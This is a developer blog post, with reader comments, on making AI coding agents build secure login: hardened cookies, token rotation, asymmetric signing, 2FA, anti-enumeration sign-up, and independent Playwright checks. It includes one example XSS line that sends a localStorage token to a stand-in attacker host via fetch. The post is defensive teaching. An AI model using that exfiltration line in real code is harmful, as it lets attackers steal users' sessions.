"Build me an app with login."
It's one of the most common prompts people give to coding agents, and it almost always "works". You get a form, a /login endpoint, a JWT, a protected page. The demo runs and you ship.
Then you open DevTools → Application → Local Storage and find this:
localStorage.setItem("token", data.accessToken);
That one line means any XSS vulnerability anywhere in your app gives an attacker your users' sessions.
This isn't a bug in the model. The agent did what you asked, in the shortest way it knows. Most auth tutorials on the internet use this pattern, so that's what you get by default. An AI agent treats security as a requirement, not a default. If you don't specify it, you don't get it.
This post covers two things:
- What a secure authentication baseline looks like in 2026, and why each piece matters.
- How to ask your agent for it so you get it every time without repeating yourself.
Part 1: What the agent builds when you don't ask
Here's what "app with login" usually produces when nothing else is specified:
| Shortcut the agent takes | Why it's a problem |
|---|---|
Token in localStorage / sessionStorage
|
Readable by any JavaScript on the page. One XSS = token exfiltrated. |
| One long-lived JWT (hours or days), no refresh | A stolen token keeps working until it expires. Logout doesn't revoke anything. |
HS256 with a hard-coded secret ("supersecret") |
Anyone with the secret can mint tokens. It often ends up committed to git. |
jwt.decode() or jwt.verify() without pinned algorithms |
Opens the door to alg: none and algorithm confusion attacks. |
No rate limiting on /login or /register
|
Credential stuffing, brute force and scripted sign-ups cost nothing. |
| "Invalid password" vs "User not found" | User enumeration. |
| "An account with this email already exists" on sign-up | The same enumeration leak, on a different form. |
User.create(req.body) on sign-up |
Mass assignment: send "role": "admin" and see what happens. |
| No 2FA | A leaked password is a full account takeover. |
| No CSP or security headers | Nothing limits the impact of an XSS. |
None of these show up in a demo. All of them show up in a pentest.
Why localStorage is the big one
localStorage and sessionStorage are available to every script that runs on your origin. That includes your code, every npm dependency in your bundle, every third-party script (analytics, chat widgets, A/B testing) and any script an attacker manages to inject.
The XSS doesn't even need to be in the login page. A Markdown renderer that doesn't sanitize, a compromised dependency, or a dangerouslySetInnerHTML in a comments component can all run code like this:
fetch("https://attacker.example/steal?t=" + localStorage.getItem("token"));
Now the attacker has a bearer token they can use from their own machine, for as long as it stays valid.
An HttpOnly cookie is invisible to JavaScript, so document.cookie can't read it and that exfiltration path is gone.
Being honest about the limits:
HttpOnlydoesn't make XSS harmless. Injected script can still send requests from the victim's browser while the page is open. What it prevents is token theft and persistence, where the attacker walks away with a credential. That's why cookies come together with a strict Content Security Policy, short token lifetimes and output escaping. It's defense in depth, not one silver bullet.
Part 2: The secure authentication baseline
This is the baseline I use on every project with authentication. Each item answers one question: "How would I exploit this?"
1. Tokens live in hardened cookies, never in web storage
// Express example
res.cookie("__Host-access_token", accessToken, {
httpOnly: true, // invisible to JavaScript, so XSS can't read it
secure: true, // HTTPS only
sameSite: "strict", // not sent on cross-site requests ("lax" if you have a reason)
path: "/", // required by the __Host- prefix
maxAge: 10 * 60 * 1000, // 10 minutes
});
-
HttpOnly: JavaScript can't read the token. -
Secure: never sent over plain HTTP. -
SameSite=Strict(orLaxwith a reason): main defense against CSRF. -
__Host-prefix: the browser enforcesSecure,Path=/and noDomain, so a subdomain can't overwrite your cookie.
Rule of thumb: no tokens, session data or sensitive information in localStorage, sessionStorage or IndexedDB. Ever.
2. Short-lived access token + rotating refresh token
- Access token: 5 to 15 minutes. If it leaks, it expires soon.
-
Refresh token: opaque, random (CSPRNG), stored hashed in the database, in its own
HttpOnlycookie scoped to the refresh path. - Rotation: every refresh issues a new refresh token and invalidates the old one.
- Reuse detection: if an already-used refresh token shows up again, someone stole it. Revoke the whole token family and force a new login.
- Revocation on logout, on password change and on 2FA reset.
This is what makes "logout" actually log people out.
3. Asymmetric token signing (RS256 / ES256 / EdDSA)
With HS256, the key that verifies a token can also create one. Every service that validates tokens holds a secret that can mint admin tokens.
With asymmetric signing:
- The private key lives only in the auth service, which signs tokens.
- Every other service gets the public key, usually from a JWKS endpoint, and can only verify.
- Keys carry a
kid, so you can rotate them without downtime.
And always verify strictly:
import { createRemoteJWKSet, jwtVerify } from "jose";
const jwks = createRemoteJWKSet(new URL("https://auth.example.com/.well-known/jwks.json"));
const { payload } = await jwtVerify(token, jwks, {
algorithms: ["ES256"], // pinned: rejects "none" and algorithm confusion
issuer: "https://auth.example.com",
audience: "api.example.com", // exp and nbf are checked by default
});
Never decode() without verifying, and never let the token header pick the algorithm.
Not using JWTs? Server-side sessions with an opaque session ID in a
__Host-cookie are a perfectly good choice, and often a simpler one. The cookie rules, expiry, rotation on login and revocation still apply.
4. Two-factor authentication
Passwords leak. 2FA is what keeps a leaked password from becoming a breach.
- Passkeys / WebAuthn: the best option. Phishing-resistant by design, because the credential is bound to your domain.
- TOTP (authenticator apps): a solid, widely supported fallback. Encrypt the TOTP secret at rest.
- Recovery codes: single use, stored hashed like passwords.
- Avoid SMS as the only second factor if you can (SIM swapping).
- Rate limit the 2FA step too. A 6-digit code can be brute-forced if you don't.
5. Passwords: Argon2id (or bcrypt), nothing else
- Hash with Argon2id (or bcrypt with a reasonable cost). Never MD5, SHA-256 or anything reversible.
- Compare with a constant-time function from the library.
- Optional but valuable: reject passwords that appear in known breaches.
6. CSRF protection, because cookies bring it back
Once auth is in cookies, the browser sends them automatically, and that's exactly what CSRF abuses. On every state-changing route (POST/PUT/PATCH/DELETE):
-
SameSite=Strict/Laxcookies, plus - a CSRF token (synchronizer or double-submit), or strict
Originheader checking.
7. Rate limiting, lockout and anti-enumeration
- Rate limit by IP and by account on login, 2FA and password recovery.
- Progressive lockout (increasing delays) instead of permanent locks that attackers can use to lock users out.
- Identical responses and timing for "user doesn't exist" and "wrong password".
- Sign-up and password reset need their own rules too. That's the next section.
8. Sign-up: the auth endpoint everyone forgets
Sign-up doesn't feel like an auth endpoint, so it gets the same shortcuts as login, and agents almost never protect it.
The enumeration leak. If /register answers "an account with this email already exists", an attacker can check whether any email address has an account. It's the same leak as "user not found" on login, on a different form. The fix:
-
Always return the same response, e.g.
202with "Check your inbox to continue." - If the address is new, email a verification link. If it's already registered, email a "you already have an account, here's how to sign in (or reset your password)" note instead. The real owner finds out; the attacker learns nothing.
- Keep the timing identical. If the "new account" path writes to the database and the "existing account" path returns right away, response time gives the answer away. Do the lookup and the email in a background job:
app.post("/register", registerRateLimiter, async (req, res) => {
const { email, password } = registrationSchema.parse(req.body); // allowlisted fields only
const passwordHash = await argon2.hash(password); // always hash, so both paths cost the same
// The existence check and the email run in a background job,
// so the response never depends on whether the address is taken.
await jobs.enqueue("process-signup", { email, passwordHash });
res.status(202).json({ message: "Check your inbox to continue." });
});
async function processSignup({ email, passwordHash }: SignupJob) {
if (await users.existsByEmail(email)) {
return mailer.sendAlreadyRegisteredNotice(email);
}
const user = await users.createUnverified(email, passwordHash);
await mailer.sendVerificationLink(user);
}
Its own rate limit. /register needs limits that are separate from /login, because the abuse looks different. Without them, scripted sign-ups cost nothing, and you only find out when the user table fills up with junk and your email provider starts complaining about bounces.
- Rate limit sign-ups per IP (and per email domain if you see abuse), independently of the login limiter.
-
Rate limit emails per recipient. Otherwise
/registerand "forgot password" become a free way to flood someone's inbox. - Add a CAPTCHA or Turnstile challenge only when traffic looks suspicious, not for everyone.
The rest of the sign-up checklist:
-
Allowlist the fields you accept.
User.create(req.body)is a classic agent shortcut, and{"email": "...", "password": "...", "role": "admin"}is a classic mass-assignment attack. - Accounts stay unverified until the link is clicked, and unverified accounts expire.
- Verification and reset tokens are random, single-use, short-lived and stored hashed.
- "Forgot password" follows the same rules: always "If an account exists, we sent you a link", same timing, same per-recipient limits.
9. Security headers that contain the blast radius
-
Content-Security-Policy without
unsafe-inline/unsafe-eval. This is your main XSS mitigation. Strict-Transport-SecurityX-Content-Type-Options: nosniffReferrer-Policy: strict-origin-when-cross-origin-
frame-ancestors 'none'(clickjacking) -
Cache-Control: no-storeon authenticated responses - CORS restricted to explicit origins, never
*with credentials.
10. Logs that help you without leaking anything
Log security events (logins, failures, lockouts, 2FA changes, refresh token reuse) without logging passwords, tokens or personal data, and sanitize log input to prevent log injection.
Part 3: How to ask your agent for all of this
Knowing the baseline doesn't help much if you have to type it every time. Here's what works for me in practice.
Bad prompt vs good prompt
❌ What most people write:
Create a Next.js app with login and a dashboard.
✅ What actually gets you a secure result:
Create a Next.js app with login and a dashboard.
Authentication requirements (non-negotiable):
- Never store tokens or session data in localStorage, sessionStorage or IndexedDB.
- Access token (10 min) and refresh token in separate HttpOnly, Secure,
SameSite=Strict cookies with the __Host- prefix.
- Refresh token rotation with reuse detection; revoke on logout and password change.
- Sign JWTs with ES256 (private key only in the auth service, public key via JWKS,
key rotation by kid). Pin algorithms and validate exp, nbf, iss and aud.
- Passwords hashed with Argon2id.
- 2FA with TOTP and passkeys (WebAuthn); recovery codes stored hashed.
- CSRF protection on all state-changing routes.
- Rate limiting + progressive lockout on login, 2FA and password reset.
- Identical responses for unknown user and wrong password.
- Sign-up never reveals whether an email exists: always "check your inbox";
existing accounts get a "you already have an account" email instead of a
verification link. Lookup and email run in a background job.
- Separate rate limits for /register and /login, plus per-recipient email limits.
- Allowlist accepted fields on sign-up (no mass assignment).
- Strict CSP (no unsafe-inline), HSTS, nosniff, frame-ancestors 'none'.
Before writing code: list the threat model (assets, attack surfaces, trust
boundaries) and ask me about anything ambiguous.
After writing code: review it as a pentester and report residual risks.
The second prompt isn't "prompt engineering magic". It's just a spec. Agents are very good at following specs and very bad at guessing the ones you didn't write.
Make it permanent: put the rules in the agent's instruction file
Every serious coding agent reads a persistent instructions file:
| Agent | File |
|---|---|
| Claude Code |
CLAUDE.md (project) or ~/.claude/CLAUDE.md (global) |
| Cursor | .cursor/rules/*.mdc |
| GitHub Copilot | .github/copilot-instructions.md |
| Codex / many others | AGENTS.md |
Write your security rules there once and they apply to every task, including the ones where you forgot to mention security. This is a trimmed version of what I keep in my global config:
## Security (mandatory)
- At the start of every new project with authentication, ASK ME:
1. Should we use asymmetric tokens (RS256/ES256/EdDSA with JWKS rotation)?
2. Should we require 2FA (TOTP, WebAuthn/passkeys)?
- Forbidden: HTTP Basic Auth, plain-text password comparison, static tokens,
sessions without expiry, and storing tokens or sensitive data in
localStorage/sessionStorage/IndexedDB.
- Required: HttpOnly + Secure + SameSite=Strict cookies (prefer __Host-),
short-lived access token + refresh rotation with reuse detection,
CSRF protection, Argon2id/bcrypt, rate limiting with progressive lockout.
- Sign-up and password reset never reveal whether an account exists, and
/register has its own rate limit, separate from /login.
- Never use innerHTML / dangerouslySetInnerHTML / v-html with unsanitized data.
- Strict CSP (no unsafe-inline/unsafe-eval), HSTS, nosniff, frame-ancestors.
- Never weaken, skip or delete a failing security test. Report the failure instead.
- Before delivering: review the code as a pentester and report residual risks.
Two details make a big difference:
- "Ask me first" rules. Forcing the agent to ask about asymmetric tokens and 2FA before it writes code turns security into an explicit decision instead of a silent default.
- "Forbidden" lists. Agents respect clear prohibitions much more reliably than vague goals like "make it secure".
Ask for tests that attack your own app
Don't just ask for "tests". Ask for tests that reproduce attacks, so the defenses can't silently regress in a future refactor (one the agent might do itself). Treat them as the first layer, not the last: they live in the same repo the agent edits, which matters more than it seems (more on that below).
Write security tests that prove:
- No auth token is ever readable via document.cookie, localStorage or sessionStorage.
- A token signed with alg "none" or with HS256 using the public key is rejected.
- An expired token, or one with the wrong iss/aud, is rejected.
- Reusing a rotated refresh token revokes the whole session family.
- POST requests without a valid CSRF token / Origin are rejected.
- The 6th failed login in a minute returns 429.
- "Unknown user" and "wrong password" return the same status and body.
- /register returns the same status, body and timing for new and existing emails.
- Sign-ups are rate limited independently of the login limiter.
- Sending "role": "admin" in the sign-up body does not create an admin.
- User A cannot access User B's resources by changing an ID (IDOR).
Close the loop: verify, don't trust
The agent's own "I implemented secure auth" is not evidence. Check for yourself:
- DevTools → Application → Local Storage / Session Storage: they should be empty of anything auth-related.
-
DevTools → Application → Cookies:
HttpOnly✓,Secure✓,SameSite✓,__Host-prefix. -
grep -rn "localStorage\|sessionStorage" src/on the frontend. - Run a security review pass (e.g.
/security-reviewin Claude Code), plus Semgrep/CodeQL andnpm auditin CI. - Check your headers with securityheaders.com or OWASP ZAP.
Independent checks against the deployed app
Everything above still has a gap: the agent that writes the code also writes the tests. When a security test fails, the shortest path to green is not always fixing the code. It can be changing an expected 429 to 200, adding a .skip, or "updating the assertion to match the new behavior". That's the same shortcut this whole post is about.
As a reader put it: a rule tells the agent what to do; a check tells you whether it did. So write the core of the baseline as checks that:
-
Run against the deployed app, not just in unit tests. Many failures only exist there: a reverse proxy or CDN stripping your security headers, a production config that turns off the
Secureflag, a CSRF middleware that exists in the code but isn't mounted, a cache storing authenticated responses. - Live outside the agent's reach: a separate repository, or a CI job with its own permissions that the agent can't edit. A folder next to the app code doesn't count.
Four checks give you a lot of coverage:
- Log in, then try to read the session token from page JavaScript. It must fail.
- Reuse a refresh token after it has been rotated. It must be refused, and the session family revoked.
- Send a form post without the CSRF token. It must be refused.
-
Request a page and read the response headers. CSP, HSTS and
nosniffmust be there. This is the one that catches a proxy stripping headers: it only shows up on the deployed app, never in the diff.
Here are the first and the last one with Playwright:
// security-checks/auth-baseline.spec.ts, in a repo the coding agent can't modify
import { test, expect } from "@playwright/test";
import { logInWithCheckAccount } from "./helpers";
test("session token is not readable from page JavaScript", async ({ page }) => {
await logInWithCheckAccount(page); // dedicated test account, credentials from CI secrets
const readableFromScript = await page.evaluate(() => [
document.cookie,
JSON.stringify(localStorage),
JSON.stringify(sessionStorage),
]);
for (const value of readableFromScript) {
expect(value).not.toMatch(/access_token|refresh_token|eyJ/); // "eyJ" starts every JWT
}
});
test("security headers survive the proxy", async ({ request }) => {
const response = await request.get("/"); // baseURL points at the deployed app
const headers = response.headers(); // Playwright lowercases header names
expect(headers["content-security-policy"]).toBeDefined();
expect(headers["content-security-policy"]).not.toContain("unsafe-inline");
expect(headers["content-security-policy"]).toContain("frame-ancestors");
expect(headers["strict-transport-security"]).toContain("max-age=");
expect(headers["x-content-type-options"]).toBe("nosniff");
});
A few practical rules:
- Run them after every deploy and on a schedule, so configuration drift that never went through a PR still gets caught.
- Use staging and a dedicated test account. Don't fire refresh-reuse or rate-limit checks at real users' accounts in production.
- A failing check blocks the release or pages someone. Changes to the checks are reviewed by a human, never by the agent whose work they verify.
The tests the agent writes are your first layer. These checks are the layer it can't negotiate with.
Takeaway
AI agents follow the requirements you give them. Leave security out of the prompt and you get the version from the average tutorial. Put it in the spec and you get secure code with the same effort.
So:
- Know the baseline: HttpOnly cookies, short tokens with rotation, asymmetric signing, 2FA, Argon2id, CSRF, rate limiting, CSP.
- Treat sign-up and password reset as auth endpoints: no enumeration, their own rate limits, allowlisted fields.
- Write it down once in your agent's instruction file.
- Make the agent ask before deciding on auth, and attack its own code before it's done.
- Verify with independent checks against the deployed app, kept where the agent can't soften them.
The fastest way to build software in 2026 is with an AI agent. Making it secure is still on you, through the specs you write and the checks you run.
Update: the sign-up section was added after a great comment from a reader @elijahbrown . Thanks for pointing it out!
Update 2: the section on independent checks against the deployed app, including the security-headers check, was added after a great suggestion from onedroid.ai on LinkedIn. Thanks!
I'm Diogo Soares, a Staff AI Engineer building AI-powered products. If this was useful, let's connect on LinkedIn or check out diogosoares.dev.
Top comments (3)
Good list. The same two shortcuts usually show up on the signup endpoint as well, and agents tend to skip them there too.
If /register says "an account with this email already exists", that's the same enumeration leak as "user not found" on login, just on a different form. One way round it is to always return "check your inbox" and, when the address is already registered, email that person a "you already have an account, here's how to sign in" note instead of a new verification link.
And /register needs its own rate limit, separate from /login. Without one, scripted signups cost nothing and you only find out when the user table fills up with junk.
Great point, thanks!
Signup is easy to forget because it doesn't feel like an "auth" endpoint, but it leaks exactly the same way.
Two small additions to your approach: send the email from a background job so both paths take the same time (otherwise timing still gives it away), and rate limit emails per recipient so /register can't be used to flood someone's inbox. I'll add a signup section to the post.
Both good additions. The per-recipient limit is the one people miss, since a signup form that sends mail to any address you type is a free way to spam someone. Looking forward to the signup section.